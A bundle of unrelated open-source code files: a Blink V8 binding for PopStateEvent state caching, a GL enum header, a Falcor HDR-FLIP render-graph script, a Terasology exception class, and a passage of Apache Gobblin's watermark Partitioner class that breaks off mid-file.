/* * Copyright (C) 2010 Google Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "third_party/blink/renderer/bindings/core/v8/v8_pop_state_event.h" #include "third_party/blink/renderer/bindings/core/v8/v8_history.h" #include "third_party/blink/renderer/core/events/pop_state_event.h" #include "third_party/blink/renderer/core/frame/history.h" #include "third_party/blink/renderer/platform/bindings/v8_private_property.h" namespace blink { namespace { // |kSymbolKey| is a key for a cached attribute for History.state. // TODO(peria): Do not use this cached attribute directly. constexpr char kSymbolKey[] = "History#State"; } // Save the state value to a hidden attribute in the V8PopStateEvent, and return // it, for convenience. static v8::Local<v8::Value> CacheState(ScriptState* script_state, v8::Local<v8::Object> pop_state_event, v8::Local<v8::Value> state) { V8PrivateProperty::GetPopStateEventState(script_state->GetIsolate()) .Set(pop_state_event, state); return state; } void V8PopStateEvent::stateAttributeGetterCustom( const v8::FunctionCallbackInfo<v8::Value>& info) { v8::Isolate* isolate = info.GetIsolate(); ScriptState* script_state = ScriptState::Current(isolate); V8PrivateProperty::Symbol property_symbol = V8PrivateProperty::GetPopStateEventState(isolate); v8::Local<v8::Value> result; if (property_symbol.GetOrUndefined(info.Holder()).ToLocal(&result) && !result->IsUndefined()) { V8SetReturnValue(info, result); return; } PopStateEvent* event = V8PopStateEvent::ToImpl(info.Holder()); History* history = event->GetHistory(); if (!history || !event->SerializedState()) { // If the event doesn't have serializedState(), it means that the // event was initialized with PopStateEventInit. In such case, we need // to get a v8 value for the current world from state(). if (event->SerializedState()) result = event->SerializedState()->Deserialize(isolate); else result = event->state(script_state).V8Value(); if (result.IsEmpty()) result = v8::Null(isolate); V8SetReturnValue(info, CacheState(script_state, info.Holder(), result)); return; } // There's no cached value from a previous invocation, nor a state value was // provided by the event, but there is a history object, so first we need to // see if the state object has been deserialized through the history object // already. // The current history state object might've changed in the meantime, so we // need to take care of using the correct one, and always share the same // deserialization with history.state. bool is_same_state = history->IsSameAsCurrentState(event->SerializedState()); if (is_same_state) { V8PrivateProperty::Symbol history_state = V8PrivateProperty::GetSymbol(isolate, kSymbolKey); v8::Local<v8::Value> v8_history_value = ToV8(history, info.Holder(), isolate); if (v8_history_value.IsEmpty()) return; v8::Local<v8::Object> v8_history = v8_history_value.As<v8::Object>(); if (!history->stateChanged() && history_state.HasValue(v8_history)) { v8::Local<v8::Value> value; if (!history_state.GetOrUndefined(v8_history).ToLocal(&value)) return; V8SetReturnValue(info, CacheState(script_state, info.Holder(), value)); return; } result = event->SerializedState()->Deserialize(isolate); history_state.Set(v8_history, result); } else { result = event->SerializedState()->Deserialize(isolate); } V8SetReturnValue(info, CacheState(script_state, info.Holder(), result)); } } // namespace blink
1,738
468
<reponame>vinjn/glintercept<gh_stars>100-1000 #define GLI_INCLUDE_GL_OES_COMPRESSED_ETC1_RGB8_TEXTURE enum Main { GL_ETC1_RGB8_OES = 0x8D64, };
84
72,551
#include "inline.h"
8
1,615
# FLIP GitHub repository: https://github.com/NVlabs/flip. # A render graph that creates a reference image and a test image # and compares them using HDR-FLIP. The reference is an accumulation # of 1 spp path traced images while the test is generated by # rendering 1 spp path traced images, followed # by denoising with the SVGF denoiser. def render_graph_HDRFLIPDemo(): g = RenderGraph("HDRFLIPDemo") loadRenderPassLibrary("AccumulatePass.dll") loadRenderPassLibrary("GBuffer.dll") loadRenderPassLibrary("MegakernelPathTracer.dll") loadRenderPassLibrary("SVGFPass.dll") loadRenderPassLibrary("FLIPPass.dll") # Generate G-buffer GBufferRaster = createPass("GBufferRaster", {'cull': CullMode.CullBack}) g.addPass(GBufferRaster, "GBufferRaster") ###################################################################################################### ########## Reference graph (accumulated path tracer results) ############## ###################################################################################################### PathTracerReference = createPass("MegakernelPathTracer", {'params': PathTracerParams(useVBuffer=0), 'sampleGenerator': 0, 'emissiveSampler': EmissiveLightSamplerType.Uniform}) g.addPass(PathTracerReference, "PathTracerReference") AccumulatePass = createPass("AccumulatePass", {'enabled': True, 'precisionMode': AccumulatePrecision.Single, 'maxAccumulatedFrames': 2 ** 16}) g.addPass(AccumulatePass, "AccumulatePass") g.addEdge("GBufferRaster.posW", "PathTracerReference.posW") g.addEdge("GBufferRaster.normW", "PathTracerReference.normalW") g.addEdge("GBufferRaster.tangentW", "PathTracerReference.tangentW") g.addEdge("GBufferRaster.faceNormalW", "PathTracerReference.faceNormalW") g.addEdge("GBufferRaster.mtlData", "PathTracerReference.mtlData") g.addEdge("GBufferRaster.texC", "PathTracerReference.texC") g.addEdge("GBufferRaster.texGrads", "PathTracerReference.texGrads") g.addEdge("PathTracerReference.color", "AccumulatePass.input") ###################################################################################################### ########## Test graph (SVGF on top of path tracer results) ############## ########## NOTE: This graph can be replaced with your own rendering setup ############## ###################################################################################################### PathTracerTest = createPass("MegakernelPathTracer", {'params': PathTracerParams(useVBuffer=0), 'sampleGenerator': 0, 'emissiveSampler': EmissiveLightSamplerType.Uniform}) g.addPass(PathTracerTest, "PathTracerTest") SVGFPass = createPass("SVGFPass", {'Enabled': True, 'Iterations': 4, 'FeedbackTap': 1, 'VarianceEpsilon': 1.0e-4, 'PhiColor': 10.0, 'PhiNormal': 128.0, 'Alpha': 0.05, 'MomentsAlpha': 0.2}) g.addPass(SVGFPass, "SVGFPass") g.addEdge("GBufferRaster.posW", "PathTracerTest.posW") g.addEdge("GBufferRaster.normW", "PathTracerTest.normalW") g.addEdge("GBufferRaster.tangentW", "PathTracerTest.tangentW") g.addEdge("GBufferRaster.faceNormalW", "PathTracerTest.faceNormalW") g.addEdge("GBufferRaster.mtlData", "PathTracerTest.mtlData") g.addEdge("GBufferRaster.texC", "PathTracerTest.texC") g.addEdge("GBufferRaster.texGrads", "PathTracerTest.texGrads") g.addEdge("GBufferRaster.emissive", "SVGFPass.Emission") g.addEdge("GBufferRaster.posW", "SVGFPass.WorldPosition") g.addEdge("GBufferRaster.normW", "SVGFPass.WorldNormal") g.addEdge("GBufferRaster.pnFwidth", "SVGFPass.PositionNormalFwidth") g.addEdge("GBufferRaster.linearZ", "SVGFPass.LinearZ") g.addEdge("GBufferRaster.mvec", "SVGFPass.MotionVec") g.addEdge("PathTracerTest.color", "SVGFPass.Color") g.addEdge("PathTracerTest.albedo", "SVGFPass.Albedo") ###################################################################################################### ############## Compute HDR-FLIP between reference and test ############## ###################################################################################################### FLIPPass = createPass('FLIPPass', {'enabled': True, 'isHDR': True, 'toneMapper': FLIPToneMapperType.ACES, 'useCustomExposureParameters': False, 'startExposure': 0.0, 'stopExposure': 0.0, 'numExposures': 2, 'useMagma': True, 'monitorWidthPixels': 3840, 'monitorWidthMeters': 0.7, 'monitorDistanceMeters': 0.7, 'computePooledFLIPValues': False, 'useRealMonitorInfo': False}) g.addPass(FLIPPass, 'FLIPPass') g.addEdge('SVGFPass.Filtered image', 'FLIPPass.testImage') g.addEdge('AccumulatePass.output', 'FLIPPass.referenceImage') g.markOutput("FLIPPass.errorMapDisplay") g.markOutput("FLIPPass.exposureMapDisplay") g.markOutput("SVGFPass.Filtered image") g.markOutput("AccumulatePass.output") return g m.loadScene('Arcade/Arcade.pyscene') HDRFLIPDemo = render_graph_HDRFLIPDemo() try: m.addGraph(HDRFLIPDemo) except NameError: None
1,796
2,996
// Copyright 2021 The Terasology Foundation // SPDX-License-Identifier: Apache-2.0 package org.terasology.engine.world.block; public class BlockUriParseException extends RuntimeException { private static final long serialVersionUID = 5571599578432666018L; public BlockUriParseException() { } public BlockUriParseException(String message) { super(message); } public BlockUriParseException(String message, Throwable cause) { super(message, cause); } public BlockUriParseException(Throwable cause) { super(cause); } public BlockUriParseException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) { super(message, cause, enableSuppression, writableStackTrace); } }
262
918
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.gobblin.source.extractor.partition; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; import java.util.List; import java.util.Map; import org.joda.time.DateTime; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.google.common.annotations.VisibleForTesting; import com.google.common.base.Strings; import com.google.common.collect.Maps; import org.apache.gobblin.configuration.ConfigurationKeys; import org.apache.gobblin.configuration.SourceState; import org.apache.gobblin.source.extractor.extract.ExtractType; import org.apache.gobblin.source.extractor.utils.Utils; import org.apache.gobblin.source.extractor.watermark.DateWatermark; import org.apache.gobblin.source.extractor.watermark.HourWatermark; import org.apache.gobblin.source.extractor.watermark.SimpleWatermark; import org.apache.gobblin.source.extractor.watermark.TimestampWatermark; import org.apache.gobblin.source.extractor.watermark.WatermarkPredicate; import org.apache.gobblin.source.extractor.watermark.WatermarkType; /** * An implementation of default partitioner for all types of sources */ public class Partitioner { private static final Logger LOG = LoggerFactory.getLogger(Partitioner.class); public static final String WATERMARKTIMEFORMAT = "yyyyMMddHHmmss"; public static final String HAS_USER_SPECIFIED_PARTITIONS = "partitioner.hasUserSpecifiedPartitions"; public static final String USER_SPECIFIED_PARTITIONS = "partitioner.userSpecifiedPartitions"; public static final String IS_EARLY_STOPPED = "partitioner.isEarlyStopped"; public static final String ALLOW_EQUAL_WATERMARK_BOUNDARY = "partitioner.allowEqualWatermarkBoundary"; public static final Comparator<Partition> ascendingComparator = new Comparator<Partition>() { @Override public int compare(Partition p1, Partition p2) { if (p1 == null && p2 == null) { return 0; } if (p1 == null) { return -1; } if (p2 == null) { return 1; } return Long.compare(p1.getLowWatermark(), p2.getLowWatermark()); } }; private SourceState state; /** * Indicate if the user specifies a high watermark for the current run */ @VisibleForTesting protected boolean hasUserSpecifiedHighWatermark; public Partitioner(SourceState state) { super(); this.state = state; hasUserSpecifiedHighWatermark = false; } /** * Get the global partition of the whole data set, which has the global low and high watermarks * * @param previousWatermark previous watermark for computing the low watermark of current run * @return a Partition instance */ public Partition getGlobalPartition(long previousWatermark) { ExtractType extractType = ExtractType.valueOf(state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_EXTRACT_TYPE).toUpperCase()); WatermarkType watermarkType = WatermarkType.valueOf( state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_WATERMARK_TYPE, ConfigurationKeys.DEFAULT_WATERMARK_TYPE) .toUpperCase()); WatermarkPredicate watermark = new WatermarkPredicate(null, watermarkType); int deltaForNextWatermark = watermark.getDeltaNumForNextWatermark(); long lowWatermark = getLowWatermark(extractType, watermarkType, previousWatermark, deltaForNextWatermark); long highWatermark = getHighWatermark(extractType, watermarkType); return new Partition(lowWatermark, highWatermark, true, hasUserSpecifiedHighWatermark); } /** * Get partitions with low and high water marks * * @param previousWatermark previous water mark from metadata * @return map of partition intervals. * map's key is interval begin time (in format {@link Partitioner#WATERMARKTIMEFORMAT}) * map's value is interval end time (in format {@link Partitioner#WATERMARKTIMEFORMAT}) */ @Deprecated public HashMap<Long, Long> getPartitions(long previousWatermark) { HashMap<Long, Long> defaultPartition = Maps.newHashMap(); if (!isWatermarkExists()) { defaultPartition.put(ConfigurationKeys.DEFAULT_WATERMARK_VALUE, ConfigurationKeys.DEFAULT_WATERMARK_VALUE); LOG.info("Watermark column or type not found - Default partition with low watermark and high watermark as " + ConfigurationKeys.DEFAULT_WATERMARK_VALUE); return defaultPartition; } ExtractType extractType = ExtractType.valueOf(this.state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_EXTRACT_TYPE).toUpperCase()); WatermarkType watermarkType = WatermarkType.valueOf( this.state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_WATERMARK_TYPE, ConfigurationKeys.DEFAULT_WATERMARK_TYPE) .toUpperCase()); int interval = getUpdatedInterval(this.state.getPropAsInt(ConfigurationKeys.SOURCE_QUERYBASED_PARTITION_INTERVAL, 0), extractType, watermarkType); int sourceMaxAllowedPartitions = this.state.getPropAsInt(ConfigurationKeys.SOURCE_MAX_NUMBER_OF_PARTITIONS, 0); int maxPartitions = (sourceMaxAllowedPartitions != 0 ? sourceMaxAllowedPartitions : ConfigurationKeys.DEFAULT_MAX_NUMBER_OF_PARTITIONS); WatermarkPredicate watermark = new WatermarkPredicate(null, watermarkType); int deltaForNextWatermark = watermark.getDeltaNumForNextWatermark(); LOG.info("is watermark override: " + this.isWatermarkOverride()); LOG.info("is full extract: " + this.isFullDump()); long lowWatermark = this.getLowWatermark(extractType, watermarkType, previousWatermark, deltaForNextWatermark); long highWatermark = this.getHighWatermark(extractType, watermarkType); if (lowWatermark == ConfigurationKeys.DEFAULT_WATERMARK_VALUE || highWatermark == ConfigurationKeys.DEFAULT_WATERMARK_VALUE) { LOG.info( "Low watermark or high water mark is not found. Hence cannot generate partitions - Default partition with low watermark: " + lowWatermark + " and high watermark: " + highWatermark); defaultPartition.put(lowWatermark, highWatermark); return defaultPartition; } LOG.info("Generate partitions with low watermark: " + lowWatermark + "; high watermark: " + highWatermark + "; partition interval in hours: " + interval + "; Maximum number of allowed partitions: " + maxPartitions); return watermark.getPartitions(lowWatermark, highWatermark, interval, maxPartitions); } /** * Get an unordered list of partition with lowWatermark, highWatermark, and hasUserSpecifiedHighWatermark. * * @param previousWatermark previous water mark from metadata * @return an unordered list of partition */ public List<Partition> getPartitionList(long previousWatermark) { if (state.getPropAsBoolean(HAS_USER_SPECIFIED_PARTITIONS)) { return createUserSpecifiedPartitions(); } List<Partition> partitions = new ArrayList<>(); /* * Use the deprecated getPartitions(long) as a helper function, avoid duplicating logic. When it can be removed, its * logic will be put here. */ HashMap<Long, Long> partitionMap = getPartitions(previousWatermark); if (partitionMap.size() == 0) { return partitions; } if (partitionMap.size() == 1) { Map.Entry<Long, Long> entry = partitionMap.entrySet().iterator().next(); Long lwm = entry.getKey(); Long hwm = entry.getValue(); if (lwm == hwm) { if (lwm != -1) { // we always allow [-1, -1] interval due to some test cases relies on this logic. boolean allowEqualBoundary = state.getPropAsBoolean(ALLOW_EQUAL_WATERMARK_BOUNDARY, false); LOG.info("Single partition with LWM = HWM and allowEqualBoundary=" + allowEqualBoundary); if (!allowEqualBoundary) { return partitions; } } } } /* * Can't use highWatermark directly, as the partitionMap may have different precision. For example, highWatermark * may be specified to seconds, but partitionMap could be specified to hour or date. */ Long highestWatermark = Collections.max(partitionMap.values()); for (Map.Entry<Long, Long> entry : partitionMap.entrySet()) { Long partitionHighWatermark = entry.getValue(); // Apply hasUserSpecifiedHighWatermark to the last partition, which has highestWatermark if (partitionHighWatermark.equals(highestWatermark)) { partitions.add(new Partition(entry.getKey(), partitionHighWatermark, true, hasUserSpecifiedHighWatermark)); } else { // The partitionHighWatermark was computed on the fly not what user specifies partitions.add(new Partition(entry.getKey(), partitionHighWatermark, false)); } } return partitions; } /** * Generate the partitions based on the lists specified by the user in job config */ private List<Partition> createUserSpecifiedPartitions() { List<Partition> partitions = new ArrayList<>(); List<String> watermarkPoints = state.getPropAsList(USER_SPECIFIED_PARTITIONS); boolean isEarlyStopped = state.getPropAsBoolean(IS_EARLY_STOPPED); if (watermarkPoints == null || watermarkPoints.size() == 0 ) { LOG.info("There should be some partition points"); long defaultWatermark = ConfigurationKeys.DEFAULT_WATERMARK_VALUE; partitions.add(new Partition(defaultWatermark, defaultWatermark, true, true)); return partitions; } WatermarkType watermarkType = WatermarkType.valueOf( state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_WATERMARK_TYPE, ConfigurationKeys.DEFAULT_WATERMARK_TYPE) .toUpperCase()); long lowWatermark = adjustWatermark(watermarkPoints.get(0), watermarkType); long highWatermark = ConfigurationKeys.DEFAULT_WATERMARK_VALUE; // Only one partition point specified if (watermarkPoints.size() == 1) { if (watermarkType != WatermarkType.SIMPLE) { String timeZone = this.state.getProp(ConfigurationKeys.SOURCE_TIMEZONE); String currentTime = Utils.dateTimeToString(getCurrentTime(timeZone), WATERMARKTIMEFORMAT, timeZone); highWatermark = adjustWatermark(currentTime, watermarkType); } partitions.add(new Partition(lowWatermark, highWatermark, true, false)); return partitions; } int i; for (i = 1; i < watermarkPoints.size() - 1; i++) { highWatermark = adjustWatermark(watermarkPoints.get(i), watermarkType); partitions.add(new Partition(lowWatermark, highWatermark, true)); lowWatermark = highWatermark; } // Last partition highWatermark = adjustWatermark(watermarkPoints.get(i), watermarkType); ExtractType extractType = ExtractType.valueOf(this.state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_EXTRACT_TYPE).toUpperCase()); // If it is early stop, we should not remove upper bounds if ((isFullDump() || isSnapshot(extractType)) && !isEarlyStopped) { // The upper bounds can be removed for last work unit partitions.add(new Partition(lowWatermark, highWatermark, true, false)); } else { // The upper bounds can not be removed for last work unit partitions.add(new Partition(lowWatermark, highWatermark, true, true)); } return partitions; } /** * Adjust a watermark based on watermark type * * @param baseWatermark the original watermark * @param watermarkType Watermark Type * @return the adjusted watermark value */ private static long adjustWatermark(String baseWatermark, WatermarkType watermarkType) { long result = ConfigurationKeys.DEFAULT_WATERMARK_VALUE; switch (watermarkType) { case SIMPLE: result = SimpleWatermark.adjustWatermark(baseWatermark, 0); break; case DATE: result = DateWatermark.adjustWatermark(baseWatermark, 0); break; case HOUR: result = HourWatermark.adjustWatermark(baseWatermark, 0); break; case TIMESTAMP: result = TimestampWatermark.adjustWatermark(baseWatermark, 0); break; } return result; } /** * Calculate interval in hours with the given interval * * @param inputInterval input interval * @param extractType Extract type * @param watermarkType Watermark type * @return interval in range */ private static int getUpdatedInterval(int inputInterval, ExtractType extractType, WatermarkType watermarkType) { LOG.debug("Getting updated interval"); if ((extractType == ExtractType.SNAPSHOT && watermarkType == WatermarkType.DATE)) { return inputInterval * 24; } else if (extractType == ExtractType.APPEND_DAILY) { return (inputInterval < 1 ? 1 : inputInterval) * 24; } else { return inputInterval; } } /** * Get low water mark: * (1) Use {@link ConfigurationKeys#SOURCE_QUERYBASED_START_VALUE} iff it is a full dump (or watermark override is enabled) * (2) Otherwise use previous watermark (fallback to {@link ConfigurationKeys#SOURCE_QUERYBASED_START_VALUE} iff previous watermark is unavailable) * * @param extractType Extract type * @param watermarkType Watermark type * @param previousWatermark Previous water mark * @param deltaForNextWatermark delta number for next water mark * @return low water mark in {@link Partitioner#WATERMARKTIMEFORMAT} */ @VisibleForTesting protected long getLowWatermark(ExtractType extractType, WatermarkType watermarkType, long previousWatermark, int deltaForNextWatermark) { long lowWatermark = ConfigurationKeys.DEFAULT_WATERMARK_VALUE; if (this.isFullDump() || this.isWatermarkOverride()) { String timeZone = this.state.getProp(ConfigurationKeys.SOURCE_TIMEZONE, ConfigurationKeys.DEFAULT_SOURCE_TIMEZONE); /* * SOURCE_QUERYBASED_START_VALUE could be: * - a simple string, e.g. "12345" * - a timestamp string, e.g. "20140101000000" * - a string with a time directive, e.g. "CURRENTDAY-X", "CURRENTHOUR-X", (X is a number) */ lowWatermark = Utils.getLongWithCurrentDate(this.state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_START_VALUE), timeZone); LOG.info("Overriding low water mark with the given start value: " + lowWatermark); } else { if (isSnapshot(extractType)) { lowWatermark = this.getSnapshotLowWatermark(watermarkType, previousWatermark, deltaForNextWatermark); } else { lowWatermark = this.getAppendLowWatermark(watermarkType, previousWatermark, deltaForNextWatermark); } } return (lowWatermark == 0 ? ConfigurationKeys.DEFAULT_WATERMARK_VALUE : lowWatermark); } /** * Get low water mark * * @param watermarkType Watermark type * @param previousWatermark Previous water mark * @param deltaForNextWatermark delta number for next water mark * @return Previous watermark (fallback to {@link ConfigurationKeys#SOURCE_QUERYBASED_START_VALUE} iff previous watermark is unavailable) */ private long getSnapshotLowWatermark(WatermarkType watermarkType, long previousWatermark, int deltaForNextWatermark) { LOG.debug("Getting snapshot low water mark"); String timeZone = this.state.getProp(ConfigurationKeys.SOURCE_TIMEZONE, ConfigurationKeys.DEFAULT_SOURCE_TIMEZONE); if (isPreviousWatermarkExists(previousWatermark)) { if (isSimpleWatermark(watermarkType)) { return previousWatermark + deltaForNextWatermark - this.state .getPropAsInt(ConfigurationKeys.SOURCE_QUERYBASED_LOW_WATERMARK_BACKUP_SECS, 0); } DateTime wm = Utils.toDateTime(previousWatermark, WATERMARKTIMEFORMAT, timeZone).plusSeconds( (deltaForNextWatermark - this.state .getPropAsInt(ConfigurationKeys.SOURCE_QUERYBASED_LOW_WATERMARK_BACKUP_SECS, 0))); return Long.parseLong(Utils.dateTimeToString(wm, WATERMARKTIMEFORMAT, timeZone)); } // If previous watermark is not found, override with the start value // (irrespective of source.is.watermark.override flag) long startValue = Utils.getLongWithCurrentDate(this.state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_START_VALUE), timeZone); LOG.info("Overriding low water mark with the given start value: " + startValue); return startValue; } /** * Get low water mark * * @param watermarkType Watermark type * @param previousWatermark Previous water mark * @param deltaForNextWatermark delta number for next water mark * @return Previous watermark (fallback to {@link ConfigurationKeys#SOURCE_QUERYBASED_START_VALUE} iff previous watermark is unavailable) */ private long getAppendLowWatermark(WatermarkType watermarkType, long previousWatermark, int deltaForNextWatermark) { LOG.debug("Getting append low water mark"); String timeZone = this.state.getProp(ConfigurationKeys.SOURCE_TIMEZONE); if (isPreviousWatermarkExists(previousWatermark)) { if (isSimpleWatermark(watermarkType)) { return previousWatermark + deltaForNextWatermark; } DateTime wm = Utils.toDateTime(previousWatermark, WATERMARKTIMEFORMAT, timeZone).plusSeconds(deltaForNextWatermark); return Long.parseLong(Utils.dateTimeToString(wm, WATERMARKTIMEFORMAT, timeZone)); } LOG.info("Overriding low water mark with start value: " + ConfigurationKeys.SOURCE_QUERYBASED_START_VALUE); return Utils.getLongWithCurrentDate(this.state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_START_VALUE), timeZone); } /** * Get high water mark * * @param extractType Extract type * @param watermarkType Watermark type * @return high water mark in {@link Partitioner#WATERMARKTIMEFORMAT} */ @VisibleForTesting protected long getHighWatermark(ExtractType extractType, WatermarkType watermarkType) { LOG.debug("Getting high watermark"); String timeZone = this.state.getProp(ConfigurationKeys.SOURCE_TIMEZONE); long highWatermark = ConfigurationKeys.DEFAULT_WATERMARK_VALUE; if (this.isWatermarkOverride()) { highWatermark = this.state.getPropAsLong(ConfigurationKeys.SOURCE_QUERYBASED_END_VALUE, 0); if (highWatermark == 0) { highWatermark = Long.parseLong(Utils.dateTimeToString(getCurrentTime(timeZone), WATERMARKTIMEFORMAT, timeZone)); } else { // User specifies SOURCE_QUERYBASED_END_VALUE hasUserSpecifiedHighWatermark = true; } LOG.info("Overriding high water mark with the given end value:" + highWatermark); } else { if (isSnapshot(extractType)) { highWatermark = this.getSnapshotHighWatermark(watermarkType); } else { highWatermark = this.getAppendHighWatermark(extractType); } } return (highWatermark == 0 ? ConfigurationKeys.DEFAULT_WATERMARK_VALUE : highWatermark); } /** * Get snapshot high water mark * * @param watermarkType Watermark type * @return snapshot high water mark */ private long getSnapshotHighWatermark(WatermarkType watermarkType) { LOG.debug("Getting snapshot high water mark"); if (isSimpleWatermark(watermarkType)) { return ConfigurationKeys.DEFAULT_WATERMARK_VALUE; } String timeZone = this.state.getProp(ConfigurationKeys.SOURCE_TIMEZONE); return Long.parseLong(Utils.dateTimeToString(getCurrentTime(timeZone), WATERMARKTIMEFORMAT, timeZone)); } /** * Get append high water mark * * @param extractType Extract type * @return append high water mark */ private long getAppendHighWatermark(ExtractType extractType) { LOG.debug("Getting append high water mark"); if (this.isFullDump()) { LOG.info("Overriding high water mark with end value:" + ConfigurationKeys.SOURCE_QUERYBASED_END_VALUE); long highWatermark = this.state.getPropAsLong(ConfigurationKeys.SOURCE_QUERYBASED_END_VALUE, 0); if (highWatermark != 0) { // User specifies SOURCE_QUERYBASED_END_VALUE hasUserSpecifiedHighWatermark = true; } return highWatermark; } return this.getAppendWatermarkCutoff(extractType); } /** * Get cutoff for high water mark * * @param extractType Extract type * @return cutoff */ private long getAppendWatermarkCutoff(ExtractType extractType) { LOG.debug("Getting append water mark cutoff"); long highWatermark = ConfigurationKeys.DEFAULT_WATERMARK_VALUE; String timeZone = this.state.getProp(ConfigurationKeys.SOURCE_TIMEZONE); AppendMaxLimitType limitType = getAppendLimitType(extractType, this.state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_APPEND_MAX_WATERMARK_LIMIT)); if (limitType == null) { LOG.debug("Limit type is not found"); return highWatermark; } int limitDelta = getAppendLimitDelta(this.state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_APPEND_MAX_WATERMARK_LIMIT)); // if it is CURRENTDATE or CURRENTHOUR then high water mark is current time if (limitDelta == 0) { highWatermark = Long.parseLong(Utils.dateTimeToString(getCurrentTime(timeZone), WATERMARKTIMEFORMAT, timeZone)); } // if CURRENTDATE or CURRENTHOUR has offset then high water mark is end of day of the given offset else { int seconds = 3599; // x:59:59 String format = null; switch (limitType) { case CURRENTDATE: format = "yyyyMMdd"; limitDelta = limitDelta * 24 * 60 * 60; seconds = 86399; // 23:59:59 break; case CURRENTHOUR: format = "yyyyMMddHH"; limitDelta = limitDelta * 60 * 60; seconds = 3599; // x:59:59 break; case CURRENTMINUTE: format = "yyyyMMddHHmm"; limitDelta = limitDelta * 60; seconds = 59; break; case CURRENTSECOND: format = "yyyyMMddHHmmss"; seconds = 0; break; default: break; } DateTime deltaTime = getCurrentTime(timeZone).minusSeconds(limitDelta); DateTime previousTime = Utils.toDateTime(Utils.dateTimeToString(deltaTime, format, timeZone), format, timeZone).plusSeconds(seconds); highWatermark = Long.parseLong(Utils.dateTimeToString(previousTime, WATERMARKTIMEFORMAT, timeZone)); // User specifies SOURCE_QUERYBASED_APPEND_MAX_WATERMARK_LIMIT hasUserSpecifiedHighWatermark = true; } return highWatermark; } /** * Get append max limit type from the input * * @param extractType Extract type * @param maxLimit * @return Max limit type */ private static AppendMaxLimitType getAppendLimitType(ExtractType extractType, String maxLimit) { LOG.debug("Getting append limit type"); AppendMaxLimitType limitType; switch (extractType) { case APPEND_DAILY: limitType = AppendMaxLimitType.CURRENTDATE; break; case APPEND_HOURLY: limitType = AppendMaxLimitType.CURRENTHOUR; break; default: limitType = null; break; } if (!Strings.isNullOrEmpty(maxLimit)) { LOG.debug("Getting append limit type from the config"); String[] limitParams = maxLimit.split("-"); if (limitParams.length >= 1) { limitType = AppendMaxLimitType.valueOf(limitParams[0]); } } return limitType; } /** * Get append max limit delta num * * @param maxLimit * @return Max limit delta number */ private static int getAppendLimitDelta(String maxLimit) { LOG.debug("Getting append limit delta"); int limitDelta = 0; if (!Strings.isNullOrEmpty(maxLimit)) { String[] limitParams = maxLimit.split("-"); if (limitParams.length >= 2) { limitDelta = Integer.parseInt(limitParams[1]); } } return limitDelta; } /** * true if previous water mark equals default water mark * * @param previousWatermark previous water mark * @return true if previous water mark exists */ private static boolean isPreviousWatermarkExists(long previousWatermark) { if (!(previousWatermark == ConfigurationKeys.DEFAULT_WATERMARK_VALUE)) { return true; } return false; } /** * true if water mark columns and water mark type provided * * @return true if water mark exists */ private boolean isWatermarkExists() { if (!Strings.isNullOrEmpty(this.state.getProp(ConfigurationKeys.EXTRACT_DELTA_FIELDS_KEY)) && !Strings .isNullOrEmpty(this.state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_WATERMARK_TYPE))) { return true; } return false; } private static boolean isSnapshot(ExtractType extractType) { if (extractType == ExtractType.SNAPSHOT) { return true; } return false; } private static boolean isSimpleWatermark(WatermarkType watermarkType) { if (watermarkType == WatermarkType.SIMPLE) { return true; } return false; } /** * If full dump is true, the low watermark will be based on {@link ConfigurationKeys#SOURCE_QUERYBASED_START_VALUE} * Otherwise it will base on the previous watermark. Please refer to {@link Partitioner#getLowWatermark(ExtractType, WatermarkType, long, int)} * @return full dump or not */ public boolean isFullDump() { return Boolean.valueOf(this.state.getProp(ConfigurationKeys.EXTRACT_IS_FULL_KEY)); } /** * @return full dump or not */ public boolean isWatermarkOverride() { return Boolean.valueOf(this.state.getProp(ConfigurationKeys.SOURCE_QUERYBASED_IS_WATERMARK_OVERRIDE)); } /** * This thin function is introduced to facilitate testing, a way to mock current time * * @return current time in the given timeZone */ 